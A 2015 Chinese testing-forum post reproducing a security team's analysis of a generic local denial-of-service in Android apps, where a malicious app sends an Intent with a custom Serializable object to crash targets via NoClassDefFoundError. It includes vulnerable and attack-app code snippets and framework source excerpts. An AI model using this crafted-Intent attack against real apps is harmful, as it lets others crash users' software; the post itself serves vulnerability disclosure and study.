51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

手机号码,快捷登录

查看: 1897|回复: 1
打印 上一主题 下一主题

[原创] Android APP通用型拒绝服务、漏洞分析报告

[复制链接]

该用户从未签到

跳转到指定楼层
1#
发表于 2015-6-26 11:20:08 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
点评:记得曾经有段时间很多SRC平台被刷了大量APP本地拒绝服务漏洞,移动安全团队爱内测(ineice.com)发现了一个安卓客户端的通用型拒绝服务漏洞,来看看他们的详细分析吧。

0xr0ot和Xbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞。该通用型本地拒绝服务可以造成大面积的app拒绝服务。

针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() 的API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传入畸形数据,导致应用本地拒绝服务。

漏洞应用代码片段:
1 Intent i = getIntent();
2 if(i.getAction().equals("serializable_action")){
3 i.getSerializableExtra("serializable_key"); //未做异常判断
4 }

攻击应用代码片段:
1 Intent i = new Intent();
2 i.setAction("serializable_action");
3 i.setClassName("com.exp.serializable", "com.exp.serializable.MainActivity");
4 i.putExtra("seriadddddlizable_dkey",XXX); //此处是传入畸形数据
5 startActivity(i);

比如XXX处传入BigInteger.valueOf(1)极有可能发生转型异常错误java.lang.ClassCastException。

但后来交流中发现,当传入一个自定义的序列化对象Serializable或getParcelable对象时,接收Intent的目标组件在getSerializableExtra()、getParcelable()等会抛出类未定义的异常java.lang.NoClassDefFoundError。这是因为当你给漏洞应用传入一个应用本身并没有的序列化类对象,在应用上下文中肯定是找不到这个类的。

自定义的序列化类很简单:
1 public class DataSchema implements Serializable {
2 private static final long serialVersionUID = -3601187837704976264L;
3 public DataSchema() {
4 super();
5 }
6 }

对应的攻击代码中XXX处传入new DataSchema(),我们发现传入的key不管是否与漏洞应用相同,都会抛出类未定义的异常。

随着测试的深入,我们通过logcat发现,在错误日志里不一定是getSerializableExtra()、getParcelable()导致的。然后我们就延伸了下,试着向getXXXExtra()传入我们自定义的序列化类对象,发现都会抛出类未定义的异常。

测试app代码片段:
1 protected void onCreate(Bundle savedInstanceState) {
2 Intent intent = getIntent();
3 intent.getStringExtra("ROIS"); //此处依然会由于NoClassDefFoundError crash
4 }

接着我们测试了市面上大量主流应用,涵盖BAT等。发现这种方法可以通杀。我们开始觉得这个是android本身的问题,开始翻源代码。
01 public String getStringExtra(String name) {
02 return mExtras == null ? null : mExtras.getString(name);
03 }
04 /frameworks/base/core/java/android/os/Bundle.java
05 public String getString(String key) {
06 unparcel(); //处理数据
07 ...
08 }
09 /* package */ synchronized void unparcel() {
10 ...
11 mParcelledData.readMapInternal(mMap, N, mClassLoader);
12 ...
13 }
14         
15 /frameworks/base/core/java/android/os/Parcel.java
16 readMapInternal解析传递进来的数据

分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏
回复

使用道具 举报

本版积分规则

关闭

站长推荐上一条 /1 下一条

小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

GMT+8, 2024-11-11 16:30 , Processed in 0.068805 second(s), 23 queries .

Powered by Discuz! X3.2

© 2001-2024 Comsenz Inc.

快速回复 返回顶部 返回列表